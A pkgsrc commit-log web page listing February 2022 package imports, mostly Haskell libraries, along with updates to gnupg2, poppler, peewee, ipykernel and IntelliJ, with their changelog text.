Link [ pkgsrc | NetBSD | pkgsrc git mirror | PR fulltext-search | netbsd commit viewer ]


   
        usage: [branch:branch] [user:user] [path[@revision]] keyword [... [-excludekeyword [...]]] (e.g. branch:MAIN pkgtools/pkg)




switch to index mode

recent branches: MAIN (3h)  pkgsrc-2024Q1 (14d)  pkgsrc-2023Q4 (42d)  pkgsrc-2023Q2 (74d)  pkgsrc-2023Q3 (154d) 

2024-05-12 23:14:22 UTC Now

2022-02-16 10:05:17 UTC MAIN commitmail json YAML

security/hs-cryptohash-md5: import hs-cryptohash-md5-0.11.101.0

A practical incremental and one-pass, pure API to the MD5 hash algorithm
(including HMAC support) with performance close to the fastest
implementations available in other languages.

The implementation is made in C with a haskell FFI wrapper that hides the C
implementation.

(pho)

2022-02-16 10:04:56 UTC MAIN commitmail json YAML

devel/Makefile: + hs-sorted-list

(pho)

2022-02-16 10:04:49 UTC MAIN commitmail json YAML

doc: Added devel/hs-sorted-list version 0.2.1.0

(pho)

2022-02-16 10:04:42 UTC MAIN commitmail json YAML

devel/hs-sorted-list: import hs-sorted-list-0.2.1.0

Type-enforced sorted lists and related functions.

These are useful for:
* Constraining the argument of a function to be a sorted list by stating in
  your type that the input list is a sorted list.
* Avoiding sorting a list twice.
* Creating a list that is sorted from the moment of its construction, so it
  doesn't have to be sorted later.
* Performing list operations keeping the input list sorted.
* Improving those list operations that can be benefited from the ordering
  of its elements.
* Creating infinite lists that are sorted!
* And more!

(pho)

2022-02-16 10:04:21 UTC MAIN commitmail json YAML

devel/Makefile: + hs-lsp-types

(pho)

2022-02-16 10:04:12 UTC MAIN commitmail json YAML

doc: Added devel/hs-lsp-types version 1.4.0.1

(pho)

2022-02-16 10:04:05 UTC MAIN commitmail json YAML

devel/hs-lsp-types: import hs-lsp-types-1.4.0.1

An implementation of the types to allow language implementors to support
the Language Server Protocol for their specific language.

(pho)

2022-02-16 10:03:41 UTC MAIN commitmail json YAML

textproc/Makefile: + hs-rope-utf16-splay

(pho)

2022-02-16 10:03:33 UTC MAIN commitmail json YAML

doc: Added textproc/hs-rope-utf16-splay version 0.3.2.0

(pho)

2022-02-16 10:03:25 UTC MAIN commitmail json YAML

textproc/hs-rope-utf16-splay: import hs-rope-utf16-splay-0.3.2.0

Ropes optimised for updating using UTF-16 code units and row/column
pairs. This implementation uses splay trees instead of the usual finger
trees. According to my benchmarks, splay trees are faster in most
situations.

(pho)

2022-02-16 10:03:01 UTC MAIN commitmail json YAML

math/Makefile: + hs-mod

(pho)

2022-02-16 10:02:54 UTC MAIN commitmail json YAML

doc: Added math/hs-mod version 0.1.2.2

(pho)

2022-02-16 10:02:47 UTC MAIN commitmail json YAML

math/hs-mod: import hs-mod-0.1.2.2

Modular arithmetic, promoting moduli to the type level, with an emphasis on
performance. Originally a part of arithmoi package.

(pho)

2022-02-16 10:02:29 UTC MAIN commitmail json YAML

math/Makefile: + hs-semirings

(pho)

2022-02-16 10:02:20 UTC MAIN commitmail json YAML

doc: Added math/hs-semirings version 0.6

(pho)

2022-02-16 10:02:14 UTC MAIN commitmail json YAML

math/hs-semirings: import hs-semirings-0.6

Haskellers are usually familiar with monoids and semigroups. A monoid has
an appending operation <> (or mappend), and an identity element, mempty. A
semigroup has an appending <> operation, but does not require a mempty
element.

A Semiring has two appending operations, plus and times, and two respective
identity elements, zero and one.

More formally, a Semiring R is a set equipped with two binary relations +
and *, such that:
- (R,+) is a commutative monoid with identity element 0,
- (R,*) is a monoid with identity element 1,
- (*) left and right distributes over addition, and multiplication by '0'
  annihilates R.

(pho)

2022-02-16 10:01:49 UTC MAIN commitmail json YAML

converters/Makefile: + hs-lens-aeson

(pho)

2022-02-16 10:01:41 UTC MAIN commitmail json YAML

doc: Added converters/hs-lens-aeson version 1.1.3

(pho)

2022-02-16 10:01:34 UTC MAIN commitmail json YAML

converters/hs-lens-aeson: import hs-lens-aeson-1.1.3

The goal of lens-aeson is to provide traversals and prisms for the Aeson
library's Value type, while obeying the Traversal/Prism laws.

(pho)

2022-02-16 10:01:07 UTC MAIN commitmail json YAML

devel/Makefile: + hs-lens

(pho)

2022-02-16 10:00:59 UTC MAIN commitmail json YAML

doc: Added devel/hs-lens version 5.1

(pho)

2022-02-16 10:00:52 UTC MAIN commitmail json YAML

devel/hs-lens: import hs-lens-5.1

This package provides families of lenses, isomorphisms, folds, traversals,
getters and setters.

(pho)

2022-02-16 10:00:34 UTC MAIN commitmail json YAML

devel/Makefile: + hs-parallel

(pho)

2022-02-16 10:00:26 UTC MAIN commitmail json YAML

doc: Added devel/hs-parallel version 3.2.2.0

(pho)

2022-02-16 10:00:19 UTC MAIN commitmail json YAML

2022-02-16 09:59:29 UTC MAIN commitmail json YAML

math/Makefile: + hs-kan-extensions

(pho)

2022-02-16 09:59:21 UTC MAIN commitmail json YAML

doc: Added math/hs-kan-extensions version 5.2.3

(pho)

2022-02-16 09:59:14 UTC MAIN commitmail json YAML

math/hs-kan-extensions: import hs-kan-extensions-5.2.3

This package provides tools for working with various Kan extensions and Kan
lifts in Haskell.

Among the interesting bits included are:
* Right and left Kan extensions (Ran and Lan)
* Right and left Kan lifts (Rift and Lift)
* Multiple forms of the Yoneda lemma (Yoneda)
* The Codensity monad, which can be used to improve the asymptotic
  complexity of code over free monads (Codensity, Density)
* A "comonad to monad-transformer transformer" that is a special case of a
  right Kan lift. (CoT, Co)

(pho)

2022-02-16 09:58:48 UTC MAIN commitmail json YAML

math/Makefile: + hs-invariant

(pho)

2022-02-16 09:58:40 UTC MAIN commitmail json YAML

doc: Added math/hs-invariant version 0.5.5

(pho)

2022-02-16 09:58:34 UTC MAIN commitmail json YAML

math/hs-invariant: import hs-invariant-0.5.5

Haskell98 invariant functors (also known as exponential functors).

(pho)

2022-02-16 09:58:07 UTC MAIN commitmail json YAML

math/Makefile: + hs-adjunctions

(pho)

2022-02-16 09:57:57 UTC MAIN commitmail json YAML

doc: Added math/hs-adjunctions version 4.4

(pho)

2022-02-16 09:57:50 UTC MAIN commitmail json YAML

2022-02-16 09:57:03 UTC MAIN commitmail json YAML

devel/Makefile: + hs-hls-graph

(pho)

2022-02-16 09:56:51 UTC MAIN commitmail json YAML

doc: Added devel/hs-hls-graph version 1.6.0.0

(pho)

2022-02-16 09:56:44 UTC MAIN commitmail json YAML

devel/hs-hls-graph: import hs-hls-graph-1.6.0.0

ghcide was originally built on top of Shake, a Haskell build
system. Nowadays Shake has been replaced by a special purpose
implementation of a build graph called hls-graph, which drops all the
persistency features in exchange for simplicity and performance.

(pho)

2022-02-16 09:56:28 UTC MAIN commitmail json YAML

Updated devel/py-jupyter_core, devel/py-ipykernel

(adam)

2022-02-16 09:56:02 UTC MAIN commitmail json YAML

devel/Makefile: + hs-stm-containers

(pho)

2022-02-16 09:55:44 UTC MAIN commitmail json YAML

doc: Added devel/hs-stm-containers version 1.2

(pho)

2022-02-16 09:55:37 UTC MAIN commitmail json YAML

devel/hs-stm-containers: import hs-stm-containers-1.2

This library is based on an STM-specialized implementation of Hash Array
Mapped Trie. It provides efficient implementations of Map, Set and other
data structures, which starting from version 1 perform even better than
their counterparts from "unordered-containers", but also scale well on
concurrent access patterns.

(pho)

2022-02-16 09:55:04 UTC MAIN commitmail json YAML

py-ipykernel: updated to 6.9.1

6.9.1

Bugs fixed
- Add hostname to the usage reply
- Enable standard library debugging via config
- process_one only accepts coroutines for dispatch

(adam)

2022-02-16 09:55:04 UTC MAIN commitmail json YAML

devel/Makefile: + hs-stm-hamt

(pho)

2022-02-16 09:54:43 UTC MAIN commitmail json YAML

doc: Added devel/hs-stm-hamt version 1.2.0.7

(pho)

2022-02-16 09:54:36 UTC MAIN commitmail json YAML

devel/hs-stm-hamt: import hs-stm-hamt-1.2.0.7

A low-level data-structure, which can be used to implement higher-level
interfaces like hash-map and hash-set. Such implementations are presented
by the "stm-containers" library.

(pho)

2022-02-16 09:54:17 UTC MAIN commitmail json YAML

devel/Makefile: + hs-primitive-extras

(pho)

2022-02-16 09:54:09 UTC MAIN commitmail json YAML

doc: Added devel/hs-primitive-extras version 0.10.1.4

(pho)

2022-02-16 09:54:02 UTC MAIN commitmail json YAML

2022-02-16 09:53:30 UTC MAIN commitmail json YAML

devel/Makefile: + hs-primitive-unlifted

(pho)

2022-02-16 09:53:22 UTC MAIN commitmail json YAML

doc: Added devel/hs-primitive-unlifted version 0.1.3.1

(pho)

2022-02-16 09:53:20 UTC MAIN commitmail json YAML

py-jupyter_core: updated to 4.9.2

4.9.2

set proper sys.argv[0] for subcommand
Add explicit encoding in open calls
jupyter_config_dir - reorder home_dir initialization

(adam)

2022-02-16 09:53:15 UTC MAIN commitmail json YAML

devel/hs-primitive-unlifted: import hs-primitive-unlifted-0.1.3.1

Primitive GHC types with unlifted types inside. There used to be a module
named Data.Primitive.UnliftedArray in the primitive library. However, it
turns out that it is impossible to write such an API safely in versions of
GHC before 8.10.1, thanks to some nasty interactions between unsafe
coercions and the foreign function interface. This package also uses a
somewhat different, and more flexible, approach than that module did.

(pho)

2022-02-16 09:52:05 UTC MAIN commitmail json YAML

devel/Makefile: + hs-deferred-folds

(pho)

2022-02-16 09:51:58 UTC MAIN commitmail json YAML

doc: Added devel/hs-deferred-folds version 0.9.18.1

(pho)

2022-02-16 09:51:51 UTC MAIN commitmail json YAML

2022-02-16 09:47:01 UTC MAIN commitmail json YAML

devel/Makefile: + hs-list-t

(pho)

2022-02-16 09:46:54 UTC MAIN commitmail json YAML

doc: Added devel/hs-list-t version 1.0.5.1

(pho)

2022-02-16 09:46:47 UTC MAIN commitmail json YAML

devel/hs-list-t: import hs-list-t-1.0.5.1

A correct implementation of the list monad-transformer. Useful for basic
streaming.

(pho)

2022-02-16 09:46:24 UTC MAIN commitmail json YAML

devel/Makefile: + hs-logict

(pho)

2022-02-16 09:46:13 UTC MAIN commitmail json YAML

doc: Added devel/hs-logict version 0.7.1.0

(pho)

2022-02-16 09:46:06 UTC MAIN commitmail json YAML

devel/hs-logict: import hs-logict-0.7.1.0

Adapted from the paper "Backtracking, Interleaving, and Terminating Monad
Transformers" by Oleg Kiselyov, Chung-chieh Shan, Daniel P. Friedman, Amr
Sabry.

(pho)

2022-02-16 09:45:44 UTC MAIN commitmail json YAML

devel/Makefile: + hs-foldl

(pho)

2022-02-16 09:45:35 UTC MAIN commitmail json YAML

doc: Added devel/hs-foldl version 1.4.12

(pho)

2022-02-16 09:45:28 UTC MAIN commitmail json YAML

devel/hs-foldl: import hs-foldl-1.4.12

This library provides strict left folds that stream in constant memory, and
you can combine folds using Applicative style to derive new folds. Derived
folds still traverse the container just once and are often as efficient as
hand-written folds.

(pho)

2022-02-16 09:45:06 UTC MAIN commitmail json YAML

www/Makefile: + hs-js-dgtable

(pho)

2022-02-16 09:44:56 UTC MAIN commitmail json YAML

doc: Added www/hs-js-dgtable version 0.5.2

(pho)

2022-02-16 09:44:49 UTC MAIN commitmail json YAML

www/hs-js-dgtable: import hs-js-dgtable-0.5.2

This package bundles the minified jquery.dgtable code into a Haskell
package, so it can be depended upon by Cabal packages. The first three
components of the version number match the upstream jquery.dgtable
version. The package is designed to meet the redistribution requirements of
downstream users (e.g. Debian).

(pho)

2022-02-16 09:44:25 UTC MAIN commitmail json YAML

devel/Makefile: + hs-hiedb

(pho)

2022-02-16 09:44:18 UTC MAIN commitmail json YAML

doc: Added devel/hs-hiedb version 0.4.1.0

(pho)

2022-02-16 09:44:11 UTC MAIN commitmail json YAML

2022-02-16 09:43:26 UTC MAIN commitmail json YAML

databases/Makefile: + hs-sqlite-simple

(pho)

2022-02-16 09:43:18 UTC MAIN commitmail json YAML

doc: Added databases/hs-sqlite-simple version 0.4.18.0

(pho)

2022-02-16 09:43:12 UTC MAIN commitmail json YAML

databases/hs-sqlite-simple: import hs-sqlite-simple-0.4.18.0

This library is a mid-level Haskell binding to the SQLite database.

Sqlite-simple provides a convenient API to sqlite that does some level of
automatic data conversion between the database and Haskell types. The API
has been modeled directly after postgresql-simple which in turn borrows
from mysql-simple.

(pho)

2022-02-16 09:42:45 UTC MAIN commitmail json YAML

databases/Makefile: + hs-direct-sqlite

(pho)

2022-02-16 09:42:28 UTC MAIN commitmail json YAML

doc: Added databases/hs-direct-sqlite version 2.3.26

(pho)

2022-02-16 09:42:21 UTC MAIN commitmail json YAML

databases/hs-direct-sqlite: import hs-direct-sqlite-2.3.26

This package is not very different from the other SQLite3 bindings out
there, but it fixes a few deficiencies I was finding. As compared to
bindings-sqlite3, it is slightly higher-level, in that it supports
marshalling of data values to and from the database. In particular, it
supports strings encoded as UTF8, and BLOBs represented as ByteStrings.

(pho)

2022-02-16 09:36:13 UTC MAIN commitmail json YAML

devel/Makefile: + hs-blaze-textual

(pho)

2022-02-16 09:36:05 UTC MAIN commitmail json YAML

doc: Added devel/hs-blaze-textual version 0.2.2.1

(pho)

2022-02-16 09:35:58 UTC MAIN commitmail json YAML

devel/hs-blaze-textual: import hs-blaze-textual-0.2.2.1

blaze-textual is a fast Haskell library for rendering common Haskell
datatypes in text form using the blaze-builder library.

(pho)

2022-02-16 09:35:32 UTC MAIN commitmail json YAML

math/Makefile: + hs-algebraic-graphs

(pho)

2022-02-16 09:35:23 UTC MAIN commitmail json YAML

doc: Added math/hs-algebraic-graphs version 0.6

(pho)

2022-02-16 09:35:17 UTC MAIN commitmail json YAML

math/hs-algebraic-graphs: import hs-algebraic-graphs-0.6

A library for algebraic construction and manipulation of graphs in Haskell.

(pho)

2022-02-16 09:34:41 UTC MAIN commitmail json YAML

devel/Makefile: + hs-hie-compat

(pho)

2022-02-16 09:34:33 UTC MAIN commitmail json YAML

doc: Added devel/hs-hie-compat version 0.2.1.1

(pho)

2022-02-16 09:34:26 UTC MAIN commitmail json YAML

devel/hs-hie-compat: import hs-hie-compat-0.2.1.1

Backports for HIE files to GHC 8.6, along with a few other backports of HIE
file related fixes for ghcide. THIS DOES NOT LET YOU READ HIE FILES WITH
MISMATCHED VERSIONS OF GHC.

(pho)

2022-02-16 09:31:57 UTC MAIN commitmail json YAML

Updated security/gnupg2, databases/py-peewee

(adam)

2022-02-16 09:21:25 UTC MAIN commitmail json YAML

devel/Makefile: + hs-hie-bios

(pho)

2022-02-16 09:21:17 UTC MAIN commitmail json YAML

doc: Added devel/hs-hie-bios version 0.8.1

(pho)

2022-02-16 09:21:09 UTC MAIN commitmail json YAML

devel/hs-hie-bios: import hs-hie-bios-0.8.1

hie-bios is the way to specify how haskell-language-server and ghcide set
up a GHC API session.

Given a Haskell project that is managed by Stack, Cabal, or other package
tools, haskell-language-server needs to know the full set of flags to pass
to GHC in order to build the project. These flags might contain some
compilation options like -O2, but a lot of the time they are package
dependencies such as -package-id directory-1.3.6.0, which also need to be
built beforehand. hie-bios satisfies both these needs.

(pho)

2022-02-16 09:20:39 UTC MAIN commitmail json YAML

sysutils/Makefile: + hs-hslogger

(pho)

2022-02-16 09:19:49 UTC MAIN commitmail json YAML

doc: Added sysutils/hs-hslogger version 1.3.1.0

(pho)

2022-02-16 09:19:42 UTC MAIN commitmail json YAML

sysutils/hs-hslogger: import hs-hslogger-1.3.1.0

hslogger is a logging framework for Haskell, roughly similar to Python's
logging module.

hslogger lets each log message have a priority and source be associated
with it. The programmer can then define global handlers that route or
filter messages based on the priority and source. hslogger also has a
Syslog handler built in.

(pho)

2022-02-16 09:18:48 UTC MAIN commitmail json YAML

net/Makefile: + hs-network-bsd

(pho)

2022-02-16 09:15:25 UTC MAIN commitmail json YAML

doc: Added net/hs-network-bsd version 2.8.1.0

(pho)

2022-02-16 09:15:18 UTC MAIN commitmail json YAML

2022-02-16 09:14:51 UTC MAIN commitmail json YAML

devel/Makefile: + hs-ghc-trace-events

(pho)

2022-02-16 09:14:42 UTC MAIN commitmail json YAML

doc: Added devel/hs-ghc-trace-events version 0.1.2.4

(pho)

2022-02-16 09:14:36 UTC MAIN commitmail json YAML

devel/hs-ghc-trace-events: import hs-ghc-trace-events-0.1.2.4

ghc-trace-events provides faster traceEvent and traceMarker as well as
arbitrary binary object logging for the eventlog framework. Unlike the
eventlog tracing functions in base, all the tracing functions in this
library don't evaluate the input if user event logging (the -lu flag) is
disabled, which can give a significant boost in performance.

(pho)

2022-02-16 09:14:13 UTC MAIN commitmail json YAML

devel/Makefile: + hs-ghc-exactprint

(pho)

2022-02-16 09:14:04 UTC MAIN commitmail json YAML

doc: Added devel/hs-ghc-exactprint version 1.5.0

(pho)

2022-02-16 09:13:57 UTC MAIN commitmail json YAML

devel/hs-ghc-exactprint: import hs-ghc-exactprint-1.5.0

Using the API Annotations available from GHC 9.2.1, this library provides a
means to round trip any code that can be compiled by GHC, currently
excluding lhs files.

(pho)

2022-02-16 09:13:27 UTC MAIN commitmail json YAML

devel/hs-ordered-containers: import hs-ordered-containers-0.2.2

This library provides Set- and Map-like types that remember the order
elements were inserted.

(pho)

2022-02-16 09:13:10 UTC MAIN commitmail json YAML

devel/Makefile: + hs-ordered-containers

(pho)

2022-02-16 09:13:02 UTC MAIN commitmail json YAML

doc: Added devel/hs-ordered-containers version 0.2.2

(pho)

2022-02-16 08:53:55 UTC MAIN commitmail json YAML

py-peewee: updated to 3.14.9

3.14.9

Allow calling table_exists() with a model-class, refs
Improve is_connection_usable() method of MySQLDatabase class.
Better support for VIEWs with playhouse.dataset.DataSet and sqlite-web.
Support INSERT / ON CONFLICT in playhosue.kv for newer Sqlite.
Add ArrayField.contained_by() method, a corollary to contains() and the contains_any() methods.
Support cyclical foreign-key relationships in reflection/introspection, and also for sqlite-web.
Add magic methods for FTS5 field to optimize, rebuild and integrity check the full-text index.
Add fallbacks in setup.py in the event distutils is not available.

(adam)

2022-02-16 08:53:54 UTC MAIN commitmail json YAML

math/Makefile: + hs-free

(pho)

2022-02-16 08:53:46 UTC MAIN commitmail json YAML

doc: Added math/hs-free version 5.1.7

(pho)

2022-02-16 08:53:40 UTC MAIN commitmail json YAML

math/hs-free: import hs-free-5.1.7

Free monads are useful for many tree-like structures and domain specific
languages.

If f is a Functor then the free Monad on f is the type of trees whose nodes
are labeled with the constructors of f. The word "free" is used in the
sense of "unrestricted" rather than "zero-cost": Free f makes no
constraining assumptions beyond those given by f and the definition of
Monad. As used here it is a standard term from the mathematical theory of
adjoint functors.

Cofree comonads are dual to free monads. They provide convenient ways to
talk about branching streams and rose-trees, and can be used to annotate
syntax trees. The cofree comonad can be seen as a stream parameterized by a
Functor that controls its branching factor.

(pho)

2022-02-16 08:53:26 UTC MAIN commitmail json YAML

gnupg2: updated to 2.2.34

Noteworthy changes in version 2.2.34 (2022-02-07)
-------------------------------------------------

  * gpgconf: Backport the improved option reading and writing code
    from 2.3.  [rG7a3a1ef370,T4788]

  * gpgconf: Do not list ignored options and mark forced options as
    read-only.  [T5732]

  * gpgconf: Correctly show registry entries with --show-configs.
    [T5724]

  * gpgconf: Add command aliases -L, -K, and -R.  [rGf16c535eee]

  * gpgconf: Tweak the use of the ldapserver option.  [T5801]

  * gpgconf: Make "--launch gpg-agent" work again.  [rG5a7ed6dd8f]

  * gpg: Accept Ed25519 private keys in modernized encoding.  [T5120]

  * gpg: Fix adding the list of ultimate trusted keys.  [T5742]

  * gpgsm: New option --ignore-cert-with-oid.  [rGbcf446b70c]

  * dirmngr: Avoid initial delay on the first keyserver access in
    presence of --no-use-tor.  [rGdde88897e2]

  * scdaemon: Also prefer Yubikeys if no reader port is given.
    [rG38c666ec3f]

  * agent: Make missing strings translatable and update German and
    Japanese translations.  [T4777]

  * ssh: Fix adding an ed25519 key with a zero length comment.  [T5794]

  * gpgtar: Create and handle extended headers to support long file
    names.  [T5754]

  * Fix the creation of socket directories under Windows for non-ascii
    account names.  [rG7d1215cb9c]

  * Improve the registry HKCU->HKLM fallback.  [rG96db487a4d]

  * Prettify the --help output of most commands.

(adam)

2022-02-16 07:44:50 UTC MAIN commitmail json YAML

devel/Makefile: + hs-ghc-check

(pho)

2022-02-16 07:44:42 UTC MAIN commitmail json YAML

doc: Added devel/hs-ghc-check version 0.5.0.6

(pho)

2022-02-16 07:44:36 UTC MAIN commitmail json YAML

devel/hs-ghc-check: import hs-ghc-check-0.5.0.6

A library to detect mismatches between compile-time and run-time versions
of the GHC API.

(pho)

2022-02-16 07:44:11 UTC MAIN commitmail json YAML

devel/Makefile: + hs-safe-exceptions

(pho)

2022-02-16 07:44:02 UTC MAIN commitmail json YAML

doc: Added devel/hs-safe-exceptions version 0.1.7.2

(pho)

2022-02-16 07:43:54 UTC MAIN commitmail json YAML

devel/hs-safe-exceptions: import hs-safe-exceptions-0.1.7.2

This package provides additional safety and simplicity versus
Control.Exception by having its functions recognize the difference between
synchronous and asynchronous exceptions. As described below, synchronous
exceptions are treated as recoverable, allowing you to catch and handle
them as well as clean up after them, whereas asynchronous exceptions can
only be cleaned up after. In particular, this library prevents you from
making the following mistakes:

* Catching and swallowing an asynchronous exception
* Throwing an asynchronous exception synchronously
* Throwing a synchronous exception asynchronously
* Swallowing asynchronous exceptions via failing cleanup handlers

(pho)

2022-02-16 07:36:53 UTC MAIN commitmail json YAML

textproc/Makefile: + hs-fuzzy

(pho)

2022-02-16 07:33:33 UTC MAIN commitmail json YAML

doc: Added textproc/hs-fuzzy version 0.1.0.1

(pho)

2022-02-16 07:33:26 UTC MAIN commitmail json YAML

textproc/hs-fuzzy: import hs-fuzzy-0.1.0.1

Fuzzy string search in Haskell. Uses TextualMonoid to be able to run on
different types of strings.

(pho)

2022-02-16 05:21:14 UTC MAIN commitmail json YAML

math/Makefile: + hs-monoid-subclasses

(pho)

2022-02-16 05:20:55 UTC MAIN commitmail json YAML

doc: Added math/hs-monoid-subclasses version 1.1.3

(pho)

2022-02-16 05:20:48 UTC MAIN commitmail json YAML

math/hs-monoid-subclasses: import hs-monoid-subclasses-1.1.3

A hierarchy of subclasses of Monoid together with their instances for all
data structures from base, containers, and text packages.

(pho)

2022-02-16 05:09:40 UTC MAIN commitmail json YAML

math/Makefile: + hs-primes

(pho)

2022-02-16 05:09:24 UTC MAIN commitmail json YAML

doc: Added math/hs-primes version 0.2.1.0

(pho)

2022-02-16 05:09:18 UTC MAIN commitmail json YAML

math/hs-primes: import hs-primes-0.2.1.0

This Haskell library provides an efficient lazy wheel sieve for prime
generation inspired by "Lazy wheel sieves and spirals of primes" by Colin
Runciman and "The Genuine Sieve of Eratosthenes" by Melissa O'Neil.

(pho)

2022-02-16 05:08:50 UTC MAIN commitmail json YAML

devel/Makefile: + hs-focus

(pho)

2022-02-16 05:08:40 UTC MAIN commitmail json YAML

doc: Added devel/hs-focus version 1.0.3

(pho)

2022-02-16 05:08:34 UTC MAIN commitmail json YAML

devel/hs-focus: import hs-focus-1.0.3

An API for construction of free-form strategies of access and manipulation
of elements of arbitrary data structures. It allows to implement efficient
composite patterns, e.g., a simultaneous update and lookup of an element,
and even more complex things.

Strategies are meant to be interpreted by the host data structure
libraries. Thus they allow to implement all access and modification
patterns of a data structure with just a single function, which interprets
strategies.

This library provides pure and monadic interfaces, so it supports both
immutable and mutable data structures.

(pho)

2022-02-16 05:07:39 UTC MAIN commitmail json YAML

devel/Makefile: + hs-dependent-map

(pho)

2022-02-16 05:07:30 UTC MAIN commitmail json YAML

doc: Added devel/hs-dependent-map version 0.4.0.0

(pho)

2022-02-16 05:07:23 UTC MAIN commitmail json YAML

devel/hs-dependent-map: import hs-dependent-map-0.4.0.0

Provides a type called DMap which generalizes Data.Map.Map, allowing keys
to specify the type of value that can be associated with them.

(pho)

2022-02-16 05:06:45 UTC MAIN commitmail json YAML

devel/Makefile: + hs-dependent-sum

(pho)

2022-02-16 05:06:35 UTC MAIN commitmail json YAML

doc: Added devel/hs-dependent-sum version 0.7.1.0

(pho)

2022-02-16 05:06:29 UTC MAIN commitmail json YAML

devel/hs-dependent-sum: import hs-dependent-sum-0.7.1.0

A dependent sum is a generalization of a particular way of thinking about
the Either type. Either a b can be thought of as a 2-tuple (tag, value),
where the value of the tag determines the type of the value. In particular,
either tag = Left and value :: a or tag = Right and value :: b.

This package allows you to define your own dependent sum types by using
your own "tag" types.

(pho)

2022-02-16 05:04:43 UTC MAIN commitmail json YAML

devel/Makefile: + hs-some

(pho)

2022-02-16 05:04:32 UTC MAIN commitmail json YAML

doc: Added devel/hs-some version 1.0.3

(pho)

2022-02-16 05:04:23 UTC MAIN commitmail json YAML

devel/hs-some: import hs-some-1.0.3

This library defines an existential type Some.

data Some f where
    Some :: f a -> Some f

in few variants, and utilities to work with it.

If you are unsure which variant to use, use the one in Data.Some module.

(pho)

2022-02-16 05:00:58 UTC MAIN commitmail json YAML

+hs-constraints-extras

(pho)

2022-02-16 05:00:45 UTC MAIN commitmail json YAML

doc: Added devel/hs-constraints-extras version 0.3.2.1

(pho)

2022-02-16 05:00:36 UTC MAIN commitmail json YAML

2022-02-16 03:32:35 UTC MAIN commitmail json YAML

+hs-cryptohash-sha1

(pho)

2022-02-16 03:32:03 UTC MAIN commitmail json YAML

doc: Added security/hs-cryptohash-sha1 version 0.11.101.0

(pho)

2022-02-16 03:31:53 UTC MAIN commitmail json YAML

security/hs-cryptohash-sha1: import hs-cryptohash-sha1-0.11.101.0

A practical incremental and one-pass, pure API to the SHA-1 hash algorithm
(including HMAC support) with performance close to the fastest
implementations available in other languages.

The implementation is made in C with a haskell FFI wrapper that hides the C
implementation.

(pho)

2022-02-15 23:20:18 UTC MAIN commitmail json YAML

emacs-packages: clean some pkglint

(wiz)

2022-02-15 23:19:23 UTC MAIN commitmail json YAML

doc: Updated editors/emacs-packages to 0.12

(wiz)

2022-02-15 23:19:12 UTC MAIN commitmail json YAML

emacs-packages: remove python-mode, bump version

(wiz)

2022-02-15 23:13:18 UTC MAIN commitmail json YAML

intellij-ce-bin: fix pkglint warnings

(rillig)

2022-02-15 23:10:41 UTC MAIN commitmail json YAML

doc: Updated devel/intellij-ce-bin to 2021.3.2

(rillig)

2022-02-15 22:33:03 UTC MAIN commitmail json YAML

suse131_linux: pre-built binaries, no PIE support

XXX: I had thought that
MKPIE_SUPPORTED=      no
would be enough but I also had to set
CHECK_PIE_SUPPORTED=  no
why?

(wiz)

2022-02-15 21:26:14 UTC MAIN commitmail json YAML

devel/intellij-ue-bin: fix DESCR

IntelliJ Ultimate Edition is not Open Source.

Bump PKGREVISION.

(rillig)

2022-02-15 21:21:24 UTC MAIN commitmail json YAML

devel/intellij-ce-bin: update to 2021.3.2

Changes since 2019.1.2:

>From https://www.jetbrains.com/idea/whatsnew/:
IntelliJ IDEA 2021.3 provides support for remote development (Beta) and
introduces a new way to troubleshoot IDE problems with the Repair IDE...
action. It also brings debugger updates and the Constant conditions
inspection for Kotlin, along with other valuable changes.

>From https://www.jetbrains.com/idea/whatsnew/2021-2/:
IntelliJ IDEA 2021.2 introduces project-wide analysis for Java, new
actions that can be triggered when you save changes, a new UI for
managing Maven and Gradle dependencies, and other useful updates.

>From https://www.jetbrains.com/idea/whatsnew/2021-1/:
IntelliJ IDEA 2021.1 introduces Java 16 and WSL 2 support, Space
integration, Code With Me, a HTML preview window inside the IDE, the
option to run code on SSH hosts and in Docker containers, and other
useful updates.

>From https://www.jetbrains.com/idea/whatsnew/2020-3/:
IntelliJ IDEA 2020.3 adds interactive hints and inline watches in the
debugger, improves support for Java 15, and introduces support for Git
staging, along with a variety of other features.

>From https://www.jetbrains.com/idea/whatsnew/2020-2/:
IntelliJ IDEA 2020.2 lets you review and merge GitHub pull requests
right from inside the IDE, quickly navigate between warnings and errors
in a file with the Inspections widget, view the full list of issues in a
current file with the Problems tool window, and get notified if your
changes would break other files. You can use Jakarta EE, and get better
support for Quarkus, Micronaut, and OpenAPI.

>From https://www.jetbrains.com/idea/whatsnew/2020-1/:
IntelliJ IDEA 2020.1 adds support for Java 14 and new features for a
number of frameworks, upgrades the debugger with dataflow analysis
assistance, adds a new LightEdit mode, downloads and configures the JDK
for you, and does so much more!

>From https://www.jetbrains.com/idea/whatsnew/2019-3/:
IntelliJ IDEA 2019.3 delivers major performance and usability
improvements, including faster startup, easier installation of theme and
keymap plugins, enhanced VCS workflows, and adds support for
microservices frameworks, MongoDB and more.

>From https://www.jetbrains.com/idea/whatsnew/2019-2/:

Java 13, Refactoring methods with multiple exit points, Each directory
can have its own code style, Syntax highlighting is available for over
20 languages, IntelliJ IDEA works with large files smoothly, Maven
dependency completion works out of the box, Step Into action offers you
a choice of methods to step into, and several more.

(rillig)

2022-02-15 19:27:03 UTC MAIN commitmail json YAML

doc: Updated print/poppler to 22.02.0

(wiz)

2022-02-15 19:26:48 UTC MAIN commitmail json YAML

poppler*: update to 22.02.0

Release 22.02.0:
        core:
        * Signature: Add a way to detect unsigned FormFieldSignature
        * Signature: Suport background image when using left and right text
        * Signature: Fix path where to search for Firefox NSS in Windows
        * Signature: Fix NSS code to work correctly in Windows/Android
        * Count only signature fields in PDFDoc::getNumSignatureFields
        * Minor code improvements

        qt:
        * Allow signing unsigned signature fields
        * Allow passing a background image for the signature when signing
        * Allow passing the document password when signing
        * Fix leftFontSize being ignored when signing

        glib:
        * try with utf8 password if latin1 fails
        * New method for getting all signature fields of a document
        * Fix compile with MSVC

        utils:
        * pdfsig: Fix compile with MSVC

        build system:
        * Fix NSS cmake check for MSVC

(wiz)

2022-02-15 19:26:31 UTC MAIN commitmail json YAML

poppler: remove patch that was rejected upstream

The patch makes one header file more usable from C; but upstream
says poppler is a C++ library

https://gitlab.freedesktop.org/poppler/poppler/-/issues/1219

(wiz)

2022-02-15 19:19:04 UTC MAIN commitmail json YAML

elf: comment out dead HOMEPAGE and MASTER_SITES.

(fcambus)

2022-02-15 19:13:16 UTC MAIN commitmail json YAML

doc: Updated devel/mimalloc to 2.0.5

(fcambus)

2022-02-15 19:13:04 UTC MAIN commitmail json YAML

